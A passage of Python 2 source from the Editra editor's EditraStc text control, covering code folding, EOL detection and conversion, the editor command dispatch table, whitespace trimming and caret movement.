super(EditraStc, self).ParaDown()\n if self.GetCurrentPos() != self.GetLength():\n self.WordPartLeft()\n self.GotoPos(self.GetCurrentPos() + len(self.GetEOLChar()))\n\n def ParaDownExtend(self): # pylint: disable-msg=W0221\n \"\"\"Extend the selection a paragraph down\n @note: overrides the default function to set selection at end\n of paragraph instead of jumping to start of next so that\n extra blank lines don't get swallowed.\n\n \"\"\"\n self.WordRightExtend()\n super(EditraStc, self).ParaDownExtend()\n if self.GetCurrentPos() != self.GetLength():\n self.WordLeftExtend()\n self.SetCurrentPos(self.GetCurrentPos() + len(self.GetEOLChar()))\n\n @jumpaction\n def OnLeftUp(self, evt):\n \"\"\"Set primary selection and inform mainwindow that cursor position\n has changed.\n @param evt: wx.MouseEvent()\n\n \"\"\"\n evt.Skip()\n # FIXME: there is problems with using the primary selection. Setting\n # the primary selection causes anything else on the clipboard\n # to get killed.\n# stxt = self.GetSelectedText()\n# if len(stxt):\n# util.SetClipboardText(stxt, primary=True)\n self.PostPositionEvent()\n\n def OnLoadProgress(self, evt):\n \"\"\"Recieves file loading events from asynchronous file loading\"\"\"\n pid = self.GetTopLevelParent().GetId()\n if evt.GetState() == ed_txt.FL_STATE_READING:\n if evt.HasText():\n # TODO: get gauge updates working properly\n# sb = self.GetTopLevelParent().GetStatusBar()\n# gauge = sb.GetGauge()\n# gauge.SetValue(evt.GetProgress())\n# gauge.Show()\n# gauge.ProcessPendingEvents()\n# sb.ProcessPendingEvents()\n self.SetReadOnly(False)\n self.AppendText(evt.GetValue())\n self.SetSavePoint()\n self.SetReadOnly(True)\n # wx.GetApp().Yield(True) # Too slow on windows...\n elif evt.GetState() == ed_txt.FL_STATE_END:\n self.SetReadOnly(False)\n ed_msg.PostMessage(ed_msg.EDMSG_PROGRESS_STATE, (pid, 0, 0))\n self.SetSavePoint()\n self.SetUndoCollection(True)\n del self._loading\n self._loading = None\n parent = self.GetParent()\n if hasattr(parent, 'DoPostLoad'):\n parent.DoPostLoad()\n elif evt.GetState() == ed_txt.FL_STATE_START:\n ed_msg.PostMessage(ed_msg.EDMSG_PROGRESS_SHOW, (pid, True))\n ed_msg.PostMessage(ed_msg.EDMSG_PROGRESS_STATE, (pid, 0, self.File.GetSize()))\n self.SetReadOnly(True)\n self.SetUndoCollection(False)\n elif evt.GetState() == ed_txt.FL_STATE_ABORTED:\n self.SetReadOnly(False)\n self.ClearAll()\n\n def OnUpdateUI(self, evt):\n \"\"\"Check for matching braces\n @param evt: event that called this handler\n @type evt: wx.stc.StyledTextEvent\n\n \"\"\"\n # If disabled just skip the event\n if self._config['brackethl']:\n self.DoBraceHighlight()\n\n # XXX: handle when column mode is enabled\n if self.VertEdit.Enabled:\n self.VertEdit.OnUpdateUI(evt)\n evt.Skip()\n\n def OnUserListSel(self, evt):\n \"\"\"Callback hook for userlist selections\"\"\"\n mdata = dict(ltype=evt.GetListType(),\n text=evt.GetText(),\n stc=self)\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_USERLIST_SEL, mdata,\n context=self.GetTopLevelParent().GetId())\n evt.Skip()\n\n def OnDwellStart(self, evt):\n \"\"\"Callback hook for mouse dwell start\"\"\"\n # Workaround issue where this event in incorrectly sent\n # when the mouse has not dwelled within the buffer area\n mpoint = wx.GetMousePosition()\n brect = self.GetScreenRect()\n if not brect.Contains(mpoint) or \\\n not self.IsShown() or \\\n not self.GetTopLevelParent().IsActive():\n return\n\n position = evt.Position\n if not self._dwellsent and position >= 0:\n dwellword = self.GetWordFromPosition(position)[0]\n line_num = self.LineFromPosition(position) + 1\n mdata = dict(stc=self, pos=position,\n line=line_num,\n word=dwellword)\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_DWELL_START, mdata)\n\n tip = mdata.get('rdata', None)\n if tip:\n self.CallTipShow(position, tip)\n else:\n # Clients did not need to make use of the calltip\n # so check if auto-completion provider has anything to display.\n if not self.IsComment(position) and not self.IsString(position):\n endpos = self.WordEndPosition(position, True)\n col = self.GetColumn(endpos)\n line = self.GetLine(line_num-1)\n command = self.GetCommandStr(line, col)\n tip = self._code['compsvc'].GetCallTip(command)\n if len(tip):\n tip_pos = position - (len(dwellword.split('.')[-1]) + 1)\n fail_safe = position - self.GetColumn(position)\n self.CallTipShow(max(tip_pos, fail_safe), tip)\n evt.Skip()\n\n def OnDwellEnd(self, evt):\n \"\"\"Callback hook for mouse dwell end\"\"\"\n self._dwellsent = False\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_DWELL_END)\n self.CallTipCancel()\n evt.Skip()\n\n def OnMarginClick(self, evt):\n \"\"\"Open and Close Folders as Needed\n @param evt: event that called this handler\n @type evt: wx.stc.StyledTextEvent\n\n \"\"\"\n margin_num = evt.GetMargin()\n if margin_num == ed_basestc.FOLD_MARGIN:\n if evt.GetShift() and \\\n (evt.GetControl() or (wx.Platform == '__WXMAC__' and evt.GetAlt())):\n self.FoldAll()\n else:\n line_clicked = self.LineFromPosition(evt.GetPosition())\n level = self.GetFoldLevel(line_clicked)\n if level & wx.stc.STC_FOLDLEVELHEADERFLAG:\n\n # Expand node and all Subnodes\n if evt.GetShift():\n self.SetFoldExpanded(line_clicked, True)\n self.Expand(line_clicked, True, True, 100, level)\n elif evt.GetControl() or \\\n (wx.Platform == '__WXMAC__' and evt.GetAlt()):\n # Contract all subnodes of clicked one\n # Note: using Alt as Ctrl can not be received for\n # clicks on mac (Scintilla Bug).\n if self.GetFoldExpanded(line_clicked):\n self.SetFoldExpanded(line_clicked, False)\n self.Expand(line_clicked, False, True, 0, level)\n else:\n # Expand all subnodes\n self.SetFoldExpanded(line_clicked, True)\n self.Expand(line_clicked, True, True, 100, level)\n else:\n self.ToggleFold(line_clicked)\n elif margin_num == ed_basestc.MARK_MARGIN:\n # Bookmarks ect...\n line_clicked = self.LineFromPosition(evt.GetPosition())\n # Hook for client code to interact with margin clicks\n data = dict(stc=self, line=line_clicked)\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_MARGIN_CLICK, msgdata=data)\n if not data.get('handled', False):\n # Default to internal bookmark handling\n if ed_marker.Bookmark().IsSet(self, line_clicked):\n self.RemoveBookmark(line_clicked)\n else:\n self.AddBookmark(line_clicked)\n\n def FoldAll(self):\n \"\"\"Fold Tree In or Out\n @postcondition: code tree is folded open or closed\n\n \"\"\"\n line_count = self.GetLineCount()\n expanding = True\n\n # find out if we are folding or unfolding\n for line_num in range(line_count):\n if self.GetFoldLevel(line_num) & wx.stc.STC_FOLDLEVELHEADERFLAG:\n expanding = not self.GetFoldExpanded(line_num)\n break\n line_num = 0\n\n while line_num < line_count:\n level = self.GetFoldLevel(line_num)\n\n if level & wx.stc.STC_FOLDLEVELHEADERFLAG and \\\n (level & wx.stc.STC_FOLDLEVELNUMBERMASK) == \\\n wx.stc.STC_FOLDLEVELBASE:\n\n if expanding:\n self.SetFoldExpanded(line_num, True)\n line_num = self.Expand(line_num, True) - 1\n else:\n last_child = self.GetLastChild(line_num, -1)\n self.SetFoldExpanded(line_num, False)\n\n if last_child > line_num:\n self.HideLines(line_num + 1, last_child)\n line_num = line_num + 1\n\n def Expand(self, line, do_expand, force=False, vis_levels=0, level=-1):\n \"\"\"Open the Margin Folder\n @postcondition: the selected folder is expanded\n\n \"\"\"\n last_child = self.GetLastChild(line, level)\n line = line + 1\n\n while line <= last_child:\n if force:\n if vis_levels > 0:\n self.ShowLines(line, line)\n else:\n self.HideLines(line, line)\n else:\n if do_expand:\n self.ShowLines(line, line)\n\n if level == -1:\n level = self.GetFoldLevel(line)\n\n if level & wx.stc.STC_FOLDLEVELHEADERFLAG:\n if force:\n self.SetFoldExpanded(line, vis_levels > 1)\n line = self.Expand(line, do_expand, force, vis_levels - 1)\n else:\n if do_expand:\n if self.GetFoldExpanded(line):\n self.SetFoldExpanded(line, True)\n line = self.Expand(line, do_expand, force, vis_levels - 1)\n else:\n line = line + 1\n return line\n\n def ExpandAll(self):\n \"\"\"Expand all folded code blocks\"\"\"\n line_count = self.GetLineCount()\n for line_num in xrange(line_count):\n if self.GetFoldLevel(line_num) & wx.stc.STC_FOLDLEVELHEADERFLAG:\n if not self.GetFoldExpanded(line_num):\n self.Expand(line_num, True)\n\n def FindLexer(self, set_ext=u''):\n \"\"\"Sets Text Controls Lexer Based on File Extension\n @param set_ext: explicit extension to use in search\n @postcondition: lexer is configured for file\n\n \"\"\"\n if not self._config['highlight']:\n return 2\n\n super(EditraStc, self).FindLexer(set_ext)\n\n # Configure Autocompletion\n # NOTE: must be done after syntax configuration\n if self._config['autocomp']:\n self.ConfigureAutoComp()\n return 0\n\n def ControlDispatch(self, evt):\n \"\"\"Dispatches events caught from the mainwindow to the\n proper functions in this module.\n @param evt: event that was posted to this handler\n\n \"\"\"\n e_id = evt.GetId()\n e_obj = evt.GetEventObject()\n e_map = { ed_glob.ID_COPY : self.Copy, ed_glob.ID_CUT : self.Cut,\n ed_glob.ID_PASTE : self.Paste, ed_glob.ID_UNDO : self.Undo,\n ed_glob.ID_REDO : self.Redo, ed_glob.ID_INDENT : self.Tab,\n ed_glob.ID_REVERT_FILE : self.RevertToSaved,\n ed_glob.ID_CUT_LINE : self.LineCut,\n ed_glob.ID_DELETE_LINE : self.LineDelete,\n ed_glob.ID_COLUMN_MODE : self.ToggleColumnMode,\n ed_glob.ID_COPY_LINE : self.LineCopy,\n ed_glob.ID_DUP_LINE : self.LineDuplicate,\n ed_glob.ID_BRACKETHL : self.ToggleBracketHL,\n ed_glob.ID_SYNTAX : self.SyntaxOnOff,\n ed_glob.ID_UNINDENT : self.BackTab,\n ed_glob.ID_TRANSPOSE : self.LineTranspose,\n ed_glob.ID_LINE_MOVE_UP : self.LineMoveUp,\n ed_glob.ID_LINE_MOVE_DOWN : self.LineMoveDown,\n ed_glob.ID_SELECTALL: self.SelectAll,\n ed_glob.ID_FOLDING : self.FoldingOnOff,\n ed_glob.ID_SHOW_LN : self.ToggleLineNumbers,\n ed_glob.ID_TOGGLECOMMENT : self.ToggleComment,\n ed_glob.ID_AUTOINDENT : self.ToggleAutoIndent,\n ed_glob.ID_LINE_AFTER : self.AddLine,\n ed_glob.ID_TOGGLE_FOLD : self.ToggleFold,\n ed_glob.ID_TOGGLE_ALL_FOLDS : self.FoldAll,\n ed_glob.ID_TRIM_WS : self.TrimWhitespace,\n ed_glob.ID_MACRO_START : self.StartRecord,\n ed_glob.ID_MACRO_STOP : self.StopRecord,\n ed_glob.ID_MACRO_PLAY : self.PlayMacro,\n ed_glob.ID_GOTO_MBRACE : self.GotoBraceMatch,\n ed_glob.ID_SHOW_AUTOCOMP : self.DoAutoComplete,\n ed_glob.ID_SHOW_CALLTIP : self.DoCallTip\n }\n\n e_idmap = { ed_glob.ID_ZOOM_OUT : self.DoZoom,\n ed_glob.ID_ZOOM_IN : self.DoZoom,\n ed_glob.ID_ZOOM_NORMAL : self.DoZoom,\n ed_glob.ID_EOL_MAC : self.ConvertLineMode,\n ed_glob.ID_EOL_UNIX : self.ConvertLineMode,\n ed_glob.ID_EOL_WIN : self.ConvertLineMode,\n ed_glob.ID_SPACE_TO_TAB : self.ConvertWhitespace,\n ed_glob.ID_TAB_TO_SPACE : self.ConvertWhitespace,\n ed_glob.ID_NEXT_MARK : self.Bookmark,\n ed_glob.ID_PRE_MARK : self.Bookmark,\n ed_glob.ID_ADD_BM : self.Bookmark,\n ed_glob.ID_DEL_ALL_BM : self.Bookmark}\n\n # Hide autocomp popups\n self.HidePopups()\n\n if e_obj.GetClassName() == \"wxToolBar\" or e_id in e_map:\n if e_id in e_map:\n e_map[e_id]()\n return\n\n if e_id in e_idmap:\n e_idmap[e_id](e_id)\n elif e_id == ed_glob.ID_SHOW_EDGE:\n self.SetViewEdgeGuide(not self.GetEdgeMode())\n elif e_id == ed_glob.ID_SHOW_EOL:\n self.SetViewEOL(not self.GetViewEOL())\n elif e_id == ed_glob.ID_PASTE_AFTER:\n cpos = self.GetCurrentPos()\n self.Paste()\n self.SetCurrentPos(cpos)\n self.SetSelection(cpos, cpos)\n elif e_id == ed_glob.ID_SHOW_WS:\n self.SetViewWhiteSpace(not self.GetViewWhiteSpace())\n elif e_id == ed_glob.ID_WORD_WRAP:\n self.SetWrapMode(not self.GetWrapMode())\n elif e_id == ed_glob.ID_JOIN_LINES:\n self.LinesJoinSelected()\n elif e_id == ed_glob.ID_INDENT_GUIDES:\n self.SetIndentationGuides(not bool(self.GetIndentationGuides()))\n elif e_id == ed_glob.ID_HLCARET_LINE:\n self.SetCaretLineVisible(not self.GetCaretLineVisible())\n elif e_id in syntax.SYNTAX_IDS:\n f_ext = syntax.GetExtFromId(e_id)\n self.LOG(\"[ed_stc][evt] Manually Setting Lexer to %s\" % str(f_ext))\n self.FindLexer(f_ext)\n elif e_id == ed_glob.ID_AUTOCOMP:\n self.SetAutoComplete(not self.GetAutoComplete())\n elif e_id == ed_glob.ID_LINE_BEFORE:\n self.AddLine(before=True)\n elif e_id in [ed_glob.ID_TO_UPPER, ed_glob.ID_TO_LOWER]:\n self.ConvertCase(e_id == ed_glob.ID_TO_UPPER)\n elif e_id == ed_glob.ID_USE_SOFTTABS:\n self.SetUseTabs(not self.GetUseTabs())\n else:\n evt.Skip()\n\n def CheckEOL(self):\n \"\"\"Checks the EOL mode of the opened document. If the mode\n that the document was saved in is different than the editors\n current mode the editor will switch modes to preserve the eol\n type of the file, if the eol chars are mixed then the editor\n will toggle on eol visibility.\n @postcondition: eol mode is configured to best match file\n @todo: Is showing line endings the best way to show mixed?\n\n \"\"\"\n mixed = diff = False\n eol_map = {u\"\\n\" : wx.stc.STC_EOL_LF,\n u\"\\r\\n\" : wx.stc.STC_EOL_CRLF,\n u\"\\r\" : wx.stc.STC_EOL_CR}\n\n eol = unichr(self.GetCharAt(self.GetLineEndPosition(0)))\n if eol == u\"\\r\":\n tmp = unichr(self.GetCharAt(self.GetLineEndPosition(0) + 1))\n if tmp == u\"\\n\":\n eol += tmp\n\n # Is the eol used in the document the same as what is currently set.\n if eol != self.GetEOLChar():\n diff = True\n\n # Check the lines to see if they are all matching or not.\n LEPFunct = self.GetLineEndPosition\n GCAFunct = self.GetCharAt\n for line in range(self.GetLineCount() - 1):\n end = LEPFunct(line)\n tmp = unichr(GCAFunct(end))\n if tmp == u\"\\r\":\n tmp2 = unichr(GCAFunct(LEPFunct(0) + 1))\n if tmp2 == u\"\\n\":\n tmp += tmp2\n if tmp != eol:\n mixed = True\n break\n\n if mixed or diff:\n if mixed:\n # Warn about mixed end of line characters and offer to convert\n msg = _(\"Mixed EOL characters detected.\\n\\n\"\n \"Would you like to format them to all be the same?\")\n dlg = ed_mdlg.EdFormatEOLDlg(self.GetTopLevelParent(), msg,\n _(\"Format EOL?\"),\n eol_map.get(eol, self.GetEOLMode()))\n\n if dlg.ShowModal() == wx.ID_YES:\n sel = dlg.GetSelection()\n self.ConvertEOLs(sel)\n super(EditraStc, self).SetEOLMode(sel)\n dlg.Destroy()\n else:\n # The end of line character is different from the preferred\n # user setting for end of line. So change our eol mode to\n # preserve that of what the document is using.\n mode = eol_map.get(eol, wx.stc.STC_EOL_LF)\n super(EditraStc, self).SetEOLMode(mode)\n else:\n pass\n\n def ConvertLineMode(self, mode_id):\n \"\"\"Converts all line endings in a document to a specified\n format.\n @param mode_id: (menu) id of eol mode to set\n\n \"\"\"\n eol_map = { ed_glob.ID_EOL_MAC : wx.stc.STC_EOL_CR,\n ed_glob.ID_EOL_UNIX : wx.stc.STC_EOL_LF,\n ed_glob.ID_EOL_WIN : wx.stc.STC_EOL_CRLF\n }\n self.ConvertEOLs(eol_map[mode_id])\n super(EditraStc, self).SetEOLMode(eol_map[mode_id])\n\n def ConvertWhitespace(self, mode_id):\n \"\"\"Convert whitespace from using tabs to spaces or visa versa\n @param mode_id: id of conversion mode\n\n \"\"\"\n if mode_id not in (ed_glob.ID_TAB_TO_SPACE, ed_glob.ID_SPACE_TO_TAB):\n return\n tabw = self.GetIndent()\n pos = self.GetCurrentPos()\n sel = self.GetSelectedText()\n if mode_id == ed_glob.ID_TAB_TO_SPACE:\n cmd = (u\"\\t\", u\" \" * tabw)\n tabs = False\n else:\n cmd = (\" \" * tabw, u\"\\t\")\n tabs = True\n\n if sel != wx.EmptyString:\n self.ReplaceSelection(sel.replace(cmd[0], cmd[1]))\n else:\n self.BeginUndoAction()\n part1 = self.GetTextRange(0, pos).replace(cmd[0], cmd[1])\n tmptxt = self.GetTextRange(pos, self.GetLength()).replace(cmd[0], \\\n cmd[1])\n self.SetText(part1 + tmptxt)\n self.GotoPos(len(part1))\n self.SetUseTabs(tabs)\n self.EndUndoAction()\n\n def GetCurrentLineNum(self):\n \"\"\"Return the number of the line that the caret is currently at\n @return: Line number (int)\n\n \"\"\"\n return self.LineFromPosition(self.GetCurrentPos())\n\n def GetEOLModeId(self):\n \"\"\"Gets the id of the eol format. Convenience for updating\n menu ui.\n @return: id of the eol mode of this document\n\n \"\"\"\n eol_map = { wx.stc.STC_EOL_CR : ed_glob.ID_EOL_MAC,\n wx.stc.STC_EOL_LF : ed_glob.ID_EOL_UNIX,\n wx.stc.STC_EOL_CRLF : ed_glob.ID_EOL_WIN\n }\n return eol_map.get(self.GetEOLMode(), ed_glob.ID_EOL_UNIX)\n\n def IsBracketHlOn(self):\n \"\"\"Returns whether bracket highlighting is being used by this\n control or not.\n @return: status of bracket highlight activation\n\n \"\"\"\n return self._config['brackethl']\n\n def IsFoldingOn(self):\n \"\"\"Returns whether code folding is being used by this\n control or not.\n @return: whether folding is on or not\n\n \"\"\"\n return self._config['folding']\n\n def IsHighlightingOn(self):\n \"\"\"Returns whether syntax highlighting is being used by this\n control or not.\n @return: whether syntax highlighting is on or not\n\n \"\"\"\n return self._config['highlight']\n\n def IsLoading(self):\n \"\"\"Is a background thread loading the text into the file\n @return: bool\n\n \"\"\"\n # NOTE: keep the getattr check here some cases\n # are reporting a yet unexplainable AttributeError here\n return getattr(self, '_loading', None) is not None\n\n def IsRecording(self):\n \"\"\"Returns whether the control is in the middle of recording\n a macro or not.\n @return: whether recording macro or not\n\n \"\"\"\n return self.recording\n\n def GetSelectionLineStartEnd(self):\n \"\"\"Get the start and end positions of the lines in the current\n fuzzy selection.\n @return: tuple (int, int)\n\n \"\"\"\n sline = self.LineFromPosition(self.GetSelectionStart())\n eline = self.LineFromPosition(self.GetSelectionEnd())\n last_line = self.GetLineCount() - 1\n eol_len = len(self.GetEOLChar())\n if sline < eline:\n tstart = self.GetLineStartPosition(sline)\n tend = self.GetLineEndPosition(eline)\n else:\n tstart = self.GetLineStartPosition(eline)\n tend = self.GetLineEndPosition(sline)\n\n if eline == last_line and tstart != 0:\n tstart -= eol_len\n else:\n tend += eol_len\n\n return (max(tstart, 0), min(tend, self.GetLength()))\n\n def LineCut(self): # pylint: disable-msg=W0221\n \"\"\"Cut the selected lines into the clipboard\"\"\"\n start, end = self.GetSelectionLineStartEnd()\n self.SetSelection(start, end)\n self.BeginUndoAction()\n self.Cut()\n self.EndUndoAction()\n\n def LineDelete(self): # pylint: disable-msg=W0221\n \"\"\"Delete the selected lines without modifying the clipboard\"\"\"\n start, end = self.GetSelectionLineStartEnd()\n self.SetTargetStart(start)\n self.SetTargetEnd(end)\n self.BeginUndoAction()\n self.ReplaceTarget(u'')\n self.EndUndoAction()\n\n def LinesJoin(self): # pylint: disable-msg=W0221\n \"\"\"Join lines in target and compress whitespace\n @note: overrides default function to allow for leading\n whitespace in joined lines to be compressed to 1 space\n\n \"\"\"\n sline = self.LineFromPosition(self.GetTargetStart())\n eline = self.LineFromPosition(self.GetTargetEnd())\n if not eline:\n eline = 1\n lines = list()\n for line in xrange(sline, eline + 1):\n if line != sline:\n tmp = self.GetLine(line).strip()\n else:\n tmp = self.GetLine(line)\n if not tmp.isspace():\n tmp = tmp.rstrip()\n else:\n tmp = tmp.replace(\"\\n\", u'').replace(\"\\r\", u'')\n if len(tmp):\n lines.append(tmp)\n self.SetTargetStart(self.PositionFromLine(sline))\n self.SetTargetEnd(self.GetLineEndPosition(eline))\n self.ReplaceTarget(u' '.join(lines))\n\n def LinesJoinSelected(self):\n \"\"\"Similar to LinesJoin, but operates on selection\n @see: LinesJoin\n\n \"\"\"\n self.SetTargetStart(self.GetSelectionStart())\n self.SetTargetEnd(self.GetSelectionEnd())\n self.LinesJoin()\n\n def LineMoveUp(self):\n \"\"\"Move the current line up\"\"\"\n linenum = self.GetCurrentLine()\n if linenum > 0 :\n self.BeginUndoAction()\n self.LineTranspose()\n self.LineUp()\n self.EndUndoAction()\n\n def LineMoveDown(self):\n \"\"\"Move the current line down\"\"\"\n linenum = self.GetCurrentLine()\n col = self.GetColumn(self.GetCurrentPos())\n if linenum < self.GetLineCount() - 1:\n self.BeginUndoAction()\n self.LineDown()\n self.LineTranspose()\n self.GotoColumn(col)\n self.EndUndoAction()\n\n def LineTranspose(self): # pylint: disable-msg=W0221\n \"\"\"Switch the current line with the previous one\n @note: overrides base stc method to do transpose in single undo action\n\n \"\"\"\n self.BeginUndoAction()\n super(EditraStc, self).LineTranspose()\n self.EndUndoAction()\n\n def SetAutoComplete(self, value):\n \"\"\"Turns Autocompletion on and off\n @param value: use autocomp or not\n @type value: bool\n\n \"\"\"\n if isinstance(value, bool):\n self._config['autocomp'] = value\n if value:\n self.InitCompleter()\n\n def SetEOLMode(self, mode):\n \"\"\"Sets the EOL mode from a string description\n @param mode: eol mode to set\n @note: overrides StyledTextCtrl.SetEOLMode\n\n \"\"\"\n mode_map = { EDSTC_EOL_CR : wx.stc.STC_EOL_CR,\n EDSTC_EOL_LF : wx.stc.STC_EOL_LF,\n EDSTC_EOL_CRLF : wx.stc.STC_EOL_CRLF\n }\n\n mode = mode_map.get(mode, wx.stc.STC_EOL_LF)\n super(EditraStc, self).SetEOLMode(mode)\n\n def SetViEmulationMode(self, use_vi, use_normal=False):\n \"\"\"Activate/Deactivate Vi emulation mode\n @param use_vi: Turn vi emulation on/off\n @type use_vi: boolean\n @keyword use_normal: Start in normal mode\n @type use_normal: boolean\n\n \"\"\"\n self.key_handler.ClearMode()\n if use_vi:\n self.key_handler = ViKeyHandler(self, use_normal)\n else:\n self.key_handler = KeyHandler(self)\n\n def SetViewEdgeGuide(self, switch=None):\n \"\"\"Toggles the visibility of the edge guide\n @keyword switch: force a particular setting\n\n \"\"\"\n if (switch is None and not self.GetEdgeMode()) or switch:\n self.SetEdgeColumn(_PGET(\"EDGE\", 'int', 80))\n self.SetEdgeMode(wx.stc.STC_EDGE_LINE)\n else:\n self.SetEdgeMode(wx.stc.STC_EDGE_NONE)\n\n def StartRecord(self): # pylint: disable-msg=W0221\n \"\"\"Starts recording all events\n @return: None\n\n \"\"\"\n self.recording = True\n evt = ed_event.StatusEvent(ed_event.edEVT_STATUS, self.GetId(),\n _(\"Recording Macro\") + u\"...\",\n ed_glob.SB_INFO)\n wx.PostEvent(self.GetTopLevelParent(), evt)\n super(EditraStc, self).StartRecord()\n\n def StopRecord(self): # pylint: disable-msg=W0221\n \"\"\"Stops the recording and builds the macro script\n @postcondition: macro recording is stopped\n\n \"\"\"\n self.recording = False\n super(EditraStc, self).StopRecord()\n evt = ed_event.StatusEvent(ed_event.edEVT_STATUS, self.GetId(),\n _(\"Recording Finished\"),\n ed_glob.SB_INFO)\n wx.PostEvent(self.GetTopLevelParent(), evt)\n self._BuildMacro()\n\n def TrimWhitespace(self):\n \"\"\"Trims trailing whitespace from all lines in the document.\n @postcondition: all trailing whitespace is removed from document\n\n \"\"\"\n cpos = self.GetCurrentPos()\n cline = self.GetCurrentLine()\n cline_len = len(self.GetLine(cline))\n epos = cline_len - (self.GetLineEndPosition(cline) - cpos)\n\n # Begin stripping trailing whitespace\n self.BeginUndoAction()\n for line in xrange(self.GetLineCount()):\n eol = u''\n tmp = self.GetLine(line)\n\n # Scintilla stores text in utf8 internally so we need to\n # encode to utf8 to get the correct length of the text.\n try:\n tlen = len(tmp.encode('utf-8'))\n except:\n tlen = len(tmp)\n\n if tlen:\n if \"\\r\\n\" in tmp:\n eol = \"\\r\\n\"\n elif \"\\n\" in tmp:\n eol = \"\\n\"\n else:\n eol = tmp[-1]\n\n if not eol.isspace():\n continue\n elif eol in u' \\t':\n eol = u''\n else:\n continue\n\n # Strip the extra whitespace from the line\n end = self.GetLineEndPosition(line) + len(eol)\n start = max(end - tlen, 0)\n self.SetTargetStart(start)\n self.SetTargetEnd(end)\n rtxt = tmp.rstrip() + eol\n if rtxt != self.GetTextRange(start, end):\n self.ReplaceTarget(tmp.rstrip() + eol)\n self.EndUndoAction()\n\n # Restore carat position\n cline_len = len(self.GetLine(cline))\n end = self.GetLineEndPosition(cline)\n if epos >= cline_len:\n epos = end\n else:\n start = max(end - cline_len, 0)\n epos += start\n\n if epos != cpos:\n self.GotoPos(epos)\n\n def FoldingOnOff(self, switch=None):\n \"\"\"Turn code folding on and off\n @keyword switch: force a particular setting\n\n \"\"\"\n if (switch is None and not self._config['folding']) or switch:\n self.LOG(\"[ed_stc][evt] Code Folding Turned On\")\n self._config['folding'] = True\n self.SetMarginWidth(ed_basestc.FOLD_MARGIN, 12)\n self.SetProperty(\"fold\", \"1\")\n else:\n self.LOG(\"[ed_stc][evt] Code Folding Turned Off\")\n self._config['folding'] = False\n\n # Ensure all code blocks have been expanded\n self.ExpandAll()\n\n self.SetMarginWidth(ed_basestc.FOLD_MARGIN, 0)\n self.SetProperty(\"fold\", \"0\")\n\n def SyntaxOnOff(self, switch=None):\n \"\"\"Turn Syntax Highlighting on and off\n @keyword switch: force a particular setting\n\n \"\"\"\n if (switch is None and not self._config['highlight']) or switch:\n self.LOG(\"[ed_stc][evt] Syntax Highlighting Turned On\")\n self._config['highlight'] = True\n self.FindLexer()\n else:\n self.LOG(\"[ed_stc][evt] Syntax Highlighting Turned Off\")\n self._config['highlight'] = False\n self.SetLexer(wx.stc.STC_LEX_NULL)\n self.ClearDocumentStyle()\n self.UpdateBaseStyles()\n return 0\n\n def Tab(self): # pylint: disable-msg=W0221\n \"\"\"Override base method to ensure that folded blocks get unfolded\n prior to changing the indentation.\n\n \"\"\"\n # TODO: unfolding of folded blocks during block indent\n# lines = list()\n# if self.HasSelection():\n# sel = self.GetSelection()\n# sline = self.LineFromPosition(sel[0])\n# eline = self.LineFromPosition(sel[1])\n# lines = range(sline, eline+1)\n# else:\n# cline = self.GetCurrentLine()\n# lines = [cline, cline+1]\n\n# for line_num in lines:\n# if self.GetFoldLevel(line_num) & wx.stc.STC_FOLDLEVELHEADERFLAG:\n# if not self.GetFoldExpanded(line_num):\n# self.Expand(line_num, True)\n super(EditraStc, self).Tab()\n\n def ToggleAutoIndent(self, switch=None):\n \"\"\"Toggles Auto-indent On and Off\n @keyword switch: force a particular setting\n\n \"\"\"\n if (switch is None and not self._config['autoindent']) or switch:\n self._config['autoindent'] = True\n else:\n self._config['autoindent'] = False\n\n def ToggleBracketHL(self, switch=None):\n \"\"\"Toggle Bracket Highlighting On and Off\n @keyword switch: force a particular setting\n\n \"\"\"\n if (switch is None and not self._config['brackethl']) or switch:\n self.LOG(\"[ed_stc][evt] Bracket Highlighting Turned On\")\n self._config['brackethl'] = True\n # Make sure to highlight a brace if next to on when turning it on\n self.DoBraceHighlight()\n else:\n self.LOG(\"[ed_stc][evt] Bracket Highlighting Turned Off\")\n self._config['brackethl'] = False\n # Make sure that if there was a highlighted brace it gets cleared\n wx.CallAfter(self.BraceHighlight, -1, -1)\n\n def ToggleFold(self, lineNum=None):\n \"\"\"Toggle the fold at the given line number. If lineNum is\n None then the fold closest cursors current postions.\n @keyword lineNum: int\n\n \"\"\"\n if lineNum is None:\n lineNum = self.GetCurrentLine()\n super(EditraStc, self).ToggleFold(lineNum)\n\n @jumpaction\n def WordLeft(self): # pylint: disable-msg=W0221\n \"\"\"Move caret to beginning of previous word\n @note: override builtin to include extra characters in word\n\n \"\"\"\n self.SetWordChars(NONSPACE)\n super(EditraStc, self).WordLeft()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos + 1) in SPACECHARS:\n super(EditraStc, self).WordLeft()\n self.SetWordChars('')\n\n def WordLeftExtend(self): # pylint: disable-msg=W0221\n \"\"\"Extend selection to beginning of previous word\n @note: override builtin to include extra characters in word\n\n \"\"\"\n self.SetWordChars(NONSPACE)\n super(EditraStc, self).WordLeftExtend()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos + 1) in SPACECHARS:\n super(EditraStc, self).WordLeftExtend()\n self.SetWordChars('')\n\n @jumpaction\n def WordPartLeft(self): # pylint: disable-msg=W0221\n \"\"\"Move the caret left to the next change in capitalization/punctuation\n @note: overrides default function to not count whitespace as words\n\n \"\"\"\n super(EditraStc, self).WordPartLeft()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos + 1) in SPACECHARS:\n super(EditraStc, self).WordPartLeft()\n\n def WordPartLeftExtend(self): # pylint: disable-msg=W0221\n \"\"\"Extend selection left to the next change in c\n apitalization/punctuation.\n @note: overrides default function to not count whitespace as words\n\n \"\"\"\n super(EditraStc, self).WordPartLeftExtend()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos + 1) in SPACECHARS:\n super(EditraStc, self).WordPartLeftExtend()\n\n @jumpaction\n def WordPartRight(self): # pylint: disable-msg=W0221\n \"\"\"Move the caret to the start of the next word part to the right\n @note: overrides default function to exclude white space\n\n \"\"\"\n super(EditraStc, self).WordPartRight()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos + 1) in SPACECHARS:\n super(EditraStc, self).WordPartRight()\n\n @jumpaction\n def WordPartRightEnd(self): # pylint: disable-msg=W0221\n \"\"\"Move caret to end of next change in capitalization/punctuation\n @postcondition: caret is 